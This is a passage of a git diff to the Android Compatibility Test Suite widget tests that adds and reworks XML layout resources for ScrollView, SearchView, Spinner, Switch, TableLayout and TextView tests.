-            android:layout_height="100dip"
-            android:text="@string/vertical_text_3"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_2"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_1"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_3"/>
 
-        <Button
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_2"/>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_1"/>
 
-        <Button
-            android:id="@+id/last_child"
-            android:layout_width="250dip"
-            android:layout_height="100dip"
-            android:text="@string/vertical_text_3"/>
-    </LinearLayout>
+            <Button
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_2"/>
 
-</android.widget.cts.MyScrollView>
+            <Button
+                android:id="@+id/last_child"
+                android:layout_width="250dip"
+                android:layout_height="100dip"
+                android:text="@string/vertical_text_3"/>
+        </LinearLayout>
+
+    </view>
+
+    <ScrollView
+        android:id="@+id/scroll_view_regular"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <view
+        class="android.widget.cts.ScrollViewTest$MyScrollView"
+        android:id="@+id/scroll_view_custom_empty"
+        android:layout_width="100dip"
+        android:layout_height="100dip" />
+</LinearLayout>
+
diff --git a/tests/tests/widget/res/layout/searchview_layout.xml b/tests/tests/widget/res/layout/searchview_layout.xml
new file mode 100644
index 0000000..b8705e0
--- /dev/null
+++ b/tests/tests/widget/res/layout/searchview_layout.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/container"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <SearchView
+        android:id="@+id/search_view"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <SearchView
+        android:id="@+id/search_view_with_defaults"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:maxWidth="@dimen/search_view_max_width"
+        android:iconifiedByDefault="false"
+        android:queryHint="@string/search_query_hint"
+        android:inputType="textCapCharacters"
+        android:imeOptions="actionDone" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/searchview_suggestion_item.xml b/tests/tests/widget/res/layout/searchview_suggestion_item.xml
new file mode 100644
index 0000000..91f02f5
--- /dev/null
+++ b/tests/tests/widget/res/layout/searchview_suggestion_item.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@android:id/text1"
+    android:layout_width="match_parent"
+    android:layout_height="@dimen/search_view_suggestion_row_height"
+    android:textAppearance="?android:attr/textAppearanceListItemSmall"
+    android:gravity="center_vertical"
+    android:paddingStart="?android:attr/listPreferredItemPaddingStart"
+    android:paddingEnd="?android:attr/listPreferredItemPaddingEnd" />
diff --git a/tests/tests/widget/res/layout/seekbar_layout.xml b/tests/tests/widget/res/layout/seekbar_layout.xml
index 4b4a6b7..2bed18e 100644
--- a/tests/tests/widget/res/layout/seekbar_layout.xml
+++ b/tests/tests/widget/res/layout/seekbar_layout.xml
@@ -15,6 +15,7 @@
 -->
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
@@ -29,14 +30,14 @@
         android:id="@+id/thumb_tint"
         android:thumbTint="@android:color/white"
         android:thumbTintMode="src_over"
-        android:layout_width="wrap_content"
+        android:layout_width="match_parent"
         android:layout_height="wrap_content" />
 
     <SeekBar
         android:id="@+id/tick_mark_tint"
         android:tickMarkTint="@android:color/white"
         android:tickMarkTintMode="src_over"
-        android:layout_width="wrap_content"
+        android:layout_width="match_parent"
         android:layout_height="wrap_content" />
 
 </LinearLayout>
diff --git a/tests/tests/widget/res/layout/simple_spinner_item_layout.xml b/tests/tests/widget/res/layout/simple_spinner_item_layout.xml
new file mode 100644
index 0000000..512b138
--- /dev/null
+++ b/tests/tests/widget/res/layout/simple_spinner_item_layout.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@android:id/text1"
+    style="?android:attr/spinnerItemStyle"
+    android:singleLine="true"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:ellipsize="marquee"
+    android:textAlignment="inherit"/>
diff --git a/tests/tests/widget/res/layout/spinner_layout.xml b/tests/tests/widget/res/layout/spinner_layout.xml
new file mode 100644
index 0000000..43a6411
--- /dev/null
+++ b/tests/tests/widget/res/layout/spinner_layout.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:fillViewport="true">
+
+    <LinearLayout
+        android:id="@+id/container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <Spinner
+            android:id="@+id/spinner_dropdown_mode"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:spinnerMode="dropdown"
+            android:prompt="@string/text_view_hello" />
+
+        <Spinner
+            android:id="@+id/spinner_dialog_mode"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:spinnerMode="dialog"
+            android:prompt="@string/text_view_hello" />
+
+    </LinearLayout>
+</ScrollView>
diff --git a/tests/tests/widget/res/layout/switch_layout.xml b/tests/tests/widget/res/layout/switch_layout.xml
index 12e10d2..880c6df 100644
--- a/tests/tests/widget/res/layout/switch_layout.xml
+++ b/tests/tests/widget/res/layout/switch_layout.xml
@@ -15,11 +15,31 @@
   ~ limitations under the License
   -->
 
-<Switch xmlns:android="http://schemas.android.com/apk/res/android"
-        android:id="@+id/switch_view"
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/container"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <Switch
+        android:id="@+id/switch1"
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         android:thumbTint="@android:color/white"
         android:thumbTintMode="src_over"
         android:trackTint="@android:color/black"
         android:trackTintMode="src_atop" />
+
+    <Switch
+        android:id="@+id/switch2"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:thumb="@drawable/icon_blue"
+        android:track="@drawable/red_translucent_fill" />
+
+    <Switch
+        android:id="@+id/switch3"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/table_layout_1.xml b/tests/tests/widget/res/layout/table_layout_1.xml
index 0896cd2..9ddc3af 100644
--- a/tests/tests/widget/res/layout/table_layout_1.xml
+++ b/tests/tests/widget/res/layout/table_layout_1.xml
@@ -14,23 +14,44 @@
      limitations under the License.
 -->
 
-<TableLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/table1"
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
-    android:collapseColumns="0"
-    android:stretchColumns="2">
+    android:orientation="vertical">
 
-    <TableRow>
-        <TextView
-            android:text="@string/table_layout_first"
-            android:padding="3dip" />
-        <TextView
-            android:text="@string/table_layout_second"
-            android:padding="3dip" />
-        <TextView
-            android:text="@string/table_layout_third"
-            android:padding="3dip" />
-    </TableRow>
-</TableLayout>
+    <TableLayout
+        android:id="@+id/table1"
+        android:layout_width="match_parent"
+        android:layout_height="0dip"
+        android:layout_weight="1.0"
+        android:collapseColumns="0"
+        android:stretchColumns="2">
 
+        <TableRow>
+            <TextView
+                android:text="@string/table_layout_first"
+                android:padding="3dip" />
+            <TextView
+                android:text="@string/table_layout_second"
+                android:padding="3dip" />
+            <TextView
+                android:text="@string/table_layout_third"
+                android:padding="3dip" />
+        </TableRow>
+    </TableLayout>
+
+    <TableLayout
+        android:id="@+id/table_empty"
+        android:layout_width="match_parent"
+        android:layout_height="0dip"
+        android:layout_weight="1.0" />
+
+    <view
+        class="android.widget.cts.TableLayoutTest$MockTableLayout"
+        android:id="@+id/table_custom_empty"
+        android:layout_width="match_parent"
+        android:layout_height="0dip"
+        android:layout_weight="1.0" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textswitcher_layout.xml b/tests/tests/widget/res/layout/textswitcher_layout.xml
new file mode 100644
index 0000000..869f6ba
--- /dev/null
+++ b/tests/tests/widget/res/layout/textswitcher_layout.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<FrameLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextSwitcher
+        android:id="@+id/switcher"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
+</FrameLayout>
+
diff --git a/tests/tests/widget/res/layout/textview_autosize_maxlines.xml b/tests/tests/widget/res/layout/textview_autosize_maxlines.xml
new file mode 100644
index 0000000..fc0d265
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_autosize_maxlines.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<view
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    class="android.widget.cts.TextViewTest$CustomTextViewWithTransformationMethod"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:maxLines="1"
+    android:autoSizeTextType="uniform"/>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/textview_imeoptions.xml b/tests/tests/widget/res/layout/textview_imeoptions.xml
new file mode 100644
index 0000000..82b1d26
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_imeoptions.xml
@@ -0,0 +1,119 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content">
+
+    <!-- Test EditorInfo.IME_NULL -->
+    <TextView
+        android:id="@+id/textview_imeoption_normal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="normal" />
+
+    <!-- Test EditorInfo.IME_ACTION_* -->
+    <TextView
+        android:id="@+id/textview_imeoption_action_unspecified"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionUnspecified" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_none"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionNone" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_go"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionGo" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_search"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionSearch" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_send"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionSend" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_next"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionNext" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_done"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionDone" />
+    <TextView
+        android:id="@+id/textview_imeoption_action_previous"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionPrevious" />
+
+    <!-- Test EditorInfo.IME_FLAG_* -->
+    <TextView
+        android:id="@+id/textview_imeoption_no_personalized_learning"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNoPersonalizedLearning" />
+    <TextView
+        android:id="@+id/textview_imeoption_no_fullscreen"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNoFullscreen" />
+    <TextView
+        android:id="@+id/textview_imeoption_navigation_previous"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNavigatePrevious" />
+    <TextView
+        android:id="@+id/textview_imeoption_navigation_next"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNavigateNext" />
+    <TextView
+        android:id="@+id/textview_imeoption_no_extract_ui"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNoExtractUi" />
+    <TextView
+        android:id="@+id/textview_imeoption_no_accessory_action"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNoAccessoryAction" />
+    <TextView
+        android:id="@+id/textview_imeoption_no_enter_action"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagNoEnterAction" />
+    <TextView
+        android:id="@+id/textview_imeoption_force_ascii"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="flagForceAscii" />
+
+    <!-- test an action with multiple flags -->
+    <TextView
+        android:id="@+id/textview_imeoption_action_go_nagivate_next_no_extract_ui_force_ascii"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:imeOptions="actionGo|flagNavigateNext|flagNoExtractUi|flagForceAscii" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textview_layout.xml b/tests/tests/widget/res/layout/textview_layout.xml
index e3144eb..d311d75 100644
--- a/tests/tests/widget/res/layout/textview_layout.xml
+++ b/tests/tests/widget/res/layout/textview_layout.xml
@@ -14,209 +14,375 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:id="@+id/layout_textviewtest">
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/scroller"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:fillViewport="true">
 
-    <ScrollView android:layout_width="match_parent"
-            android:layout_height="match_parent">
+        <LinearLayout
+            android:id="@+id/layout_textviewtest"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
 
-        <LinearLayout android:orientation="vertical"
+            <TextView
+                android:id="@+id/textview_textAttr"
+                android:fontFamily="@null"
+                android:text="@string/text_view_hello"
+                android:textColor="@drawable/black"
+                android:textColorHighlight="@drawable/yellow"
+                android:textColorHint="@drawable/red"
+                android:textColorLink="@drawable/blue"
+                android:textScaleX="1.2"
+                android:typeface="normal"
+                android:textSize="20px"
+                android:textStyle="normal"
+                android:textAppearance="@null"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_password"
+                android:password="true"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_singleLine"
+                android:singleLine="true"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_text"
+                android:text="@string/text_view_hello"
+                android:breakStrategy="simple"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_text_two_lines"
+                android:text="@string/text_view_hello_two_lines"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"/>
+
+            <android.widget.cts.MockTextView
+                android:id="@+id/mock_textview_left"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:requiresFadingEdge="horizontal"
+                android:singleLine="true"
+                android:text="@string/long_text"
+                android:gravity="left" />
+
+            <android.widget.cts.MockTextView
+                android:id="@+id/mock_textview_right"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:requiresFadingEdge="horizontal"
+                android:singleLine="true"
+                android:text="@string/long_text"
+                android:gravity="right" />
+
+            <android.widget.cts.MockTextView
+                android:id="@+id/mock_textview_center"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:requiresFadingEdge="horizontal"
+                android:singleLine="true"
+                android:text="@string/long_text"
+                android:gravity="center" />
+
+            <TextView
+                android:id="@+id/textview_ltr"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_rtl"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_drawable_1_1"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:drawableLeft="@drawable/icon_blue"
+                android:drawableRight="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="ltr" />
+
+            <TextView
+                android:id="@+id/textview_drawable_1_2"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:drawableLeft="@drawable/icon_blue"
+                android:drawableRight="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="rtl" />
+
+            <TextView
+                android:id="@+id/textview_drawable_2_1"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:drawableStart="@drawable/icon_blue"
+                android:drawableEnd="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="ltr" />
+
+            <TextView
+                android:id="@+id/textview_drawable_2_2"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:drawableStart="@drawable/icon_blue"
+                android:drawableEnd="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="rtl" />
+
+            <TextView
+                android:id="@+id/textview_drawable_3_1"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:drawableLeft="@drawable/icon_black"
+                android:drawableRight="@drawable/icon_black"
+                android:drawableStart="@drawable/icon_blue"
+                android:drawableEnd="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="ltr" />
+
+            <TextView
+                android:id="@+id/textview_drawable_3_2"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:drawableLeft="@drawable/icon_black"
+                android:drawableRight="@drawable/icon_black"
+                android:drawableStart="@drawable/icon_blue"
+                android:drawableEnd="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="rtl" />
+
+            <LinearLayout
+                android:orientation="vertical"
                 android:layout_width="match_parent"
-                android:layout_height="match_parent">
+                android:layout_height="wrap_content"
+                android:layoutDirection="ltr">
 
-            <TextView android:id="@+id/textview_textAttr"
-                    android:fontFamily="@null"
-                    android:text="@string/text_view_hello"
-                    android:textColor="@drawable/black"
-                    android:textColorHighlight="@drawable/yellow"
-                    android:textColorHint="@drawable/red"
-                    android:textColorLink="@drawable/blue"
-                    android:textScaleX="1.2"
-                    android:typeface="normal"
-                    android:textSize="20px"
-                    android:textStyle="normal"
-                    android:textAppearance="@null"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"/>
-
-            <TextView android:id="@+id/textview_password"
-                    android:password="true"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"/>
-
-            <TextView android:id="@+id/textview_singleLine"
-                    android:singleLine="true"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"/>
-
-            <TextView android:id="@+id/textview_text"
-                    android:text="@string/text_view_hello"
-                    android:breakStrategy="simple"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"/>
-
-            <TextView android:id="@+id/textview_text_two_lines"
-                    android:text="@string/text_view_hello_two_lines"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"/>
-
-            <android.widget.cts.MockTextView
-                    android:id="@+id/mock_textview_left"
-                    android:layout_width="wrap_content"
+                <TextView
+                    android:id="@+id/textview_drawable_4_1"
                     android:layout_height="wrap_content"
-                    android:requiresFadingEdge="horizontal"
-                    android:singleLine="true"
-                    android:text="@string/long_text"
-                    android:gravity="left"
-                    />
-
-            <android.widget.cts.MockTextView
-                    android:id="@+id/mock_textview_right"
                     android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:requiresFadingEdge="horizontal"
-                    android:singleLine="true"
-                    android:text="@string/long_text"
-                    android:gravity="right"
-                    />
+                    android:drawableStart="@drawable/icon_blue"
+                    android:drawableEnd="@drawable/icon_red"
+                    android:drawableTop="@drawable/icon_green"
+                    android:drawableBottom="@drawable/icon_yellow" />
 
-            <android.widget.cts.MockTextView
-                    android:id="@+id/mock_textview_center"
-                    android:layout_width="wrap_content"
+                <TextView
+                    android:id="@+id/textview_drawable_5_1"
                     android:layout_height="wrap_content"
-                    android:requiresFadingEdge="horizontal"
-                    android:singleLine="true"
-                    android:text="@string/long_text"
-                    android:gravity="center"
-                    />
+                    android:layout_width="wrap_content"
+                    android:drawableLeft="@drawable/icon_black"
+                    android:drawableRight="@drawable/icon_black"
+                    android:drawableStart="@drawable/icon_blue"
+                    android:drawableEnd="@drawable/icon_red"
+                    android:drawableTop="@drawable/icon_green"
+                    android:drawableBottom="@drawable/icon_yellow" />
+
+            </LinearLayout>
+
+            <LinearLayout
+                android:orientation="vertical"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layoutDirection="rtl">
+
+                <TextView
+                    android:id="@+id/textview_drawable_4_2"
+                    android:layout_height="wrap_content"
+                    android:layout_width="wrap_content"
+                    android:drawableStart="@drawable/icon_blue"
+                    android:drawableEnd="@drawable/icon_red"
+                    android:drawableTop="@drawable/icon_green"
+                    android:drawableBottom="@drawable/icon_yellow" />
+
+                <TextView
+                    android:id="@+id/textview_drawable_5_2"
+                    android:layout_height="wrap_content"
+                    android:layout_width="wrap_content"
+                    android:drawableLeft="@drawable/icon_black"
+                    android:drawableRight="@drawable/icon_black"
+                    android:drawableStart="@drawable/icon_blue"
+                    android:drawableEnd="@drawable/icon_red"
+                    android:drawableTop="@drawable/icon_green"
+                    android:drawableBottom="@drawable/icon_yellow" />
+
+            </LinearLayout>
+
+
+            <TextView
+                android:id="@+id/textview_compound_drawable_ltr"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:paddingLeft="@dimen/textview_padding_left"
+                android:paddingRight="@dimen/textview_padding_right"
+                android:paddingTop="@dimen/textview_padding_top"
+                android:paddingBottom="@dimen/textview_padding_bottom"
+                android:drawablePadding="@dimen/textview_drawable_padding"
+                android:drawableStart="@drawable/icon_blue"
+                android:drawableEnd="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="ltr" />
+
+            <TextView
+                android:id="@+id/textview_compound_drawable_rtl"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:paddingLeft="@dimen/textview_padding_left"
+                android:paddingRight="@dimen/textview_padding_right"
+                android:paddingTop="@dimen/textview_padding_top"
+                android:paddingBottom="@dimen/textview_padding_bottom"
+                android:drawablePadding="@dimen/textview_drawable_padding"
+                android:drawableStart="@drawable/icon_blue"
+                android:drawableEnd="@drawable/icon_red"
+                android:drawableTop="@drawable/icon_green"
+                android:drawableBottom="@drawable/icon_yellow"
+                android:layoutDirection="rtl" />
+
+            <TextView
+                android:id="@+id/textview_with_shadow"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:text="@string/text_view_hello"
+                android:shadowDx="1.0"
+                android:shadowDy="2.0"
+                android:shadowRadius="3.0"
+                android:shadowColor="@color/testcolor1" />
+
+            <TextView
+                android:id="@+id/textview_pointer"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"/>
+
+            <TextView
+                android:id="@+id/textview_autosize_uniform"
+                android:layout_width="100dp"
+                android:layout_height="200dp"
+                android:text="@string/sample_text"
+                android:autoSizeTextType="uniform"
+                android:autoSizeMinTextSize="2px"
+                android:autoSizeMaxTextSize="50dp"
+                android:autoSizeStepGranularity="1px" />
+
+            <TextView
+                android:id="@+id/textview_autosize_basic"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/text_view_hello"
+                android:autoSizeTextType="uniform" />
+
+            <TextView
+                android:id="@+id/textview_fontresource_fontfamily"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@font/samplefont" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_fontfamily"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@font/samplexmlfont" />
+
+            <!-- This is here to test that the TextView constructor ignores references to
+             non Font resource types in the fontFamily attribute.-->
+            <TextView
+                android:id="@+id/textview_fontxmlresource_nonFontReference"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@style/TextView_FontResource" />
+
+            <TextView
+                android:id="@+id/textview_fontresource_style"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                style="@style/TextView_FontResource" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_style"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                style="@style/TextView_FontXmlResource" />
+
+            <TextView
+                android:id="@+id/textview_fontresource_textAppearance"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:textAppearance="@style/TextView_FontResource" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_textAppearance"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:textAppearance="@style/TextView_FontXmlResource" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_withStyle"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@font/samplexmlfont"
+                android:textStyle="italic"/>
+
+            <TextView
+                android:id="@+id/textview_autosize_uniform_predef_sizes"
+                android:layout_width="100dp"
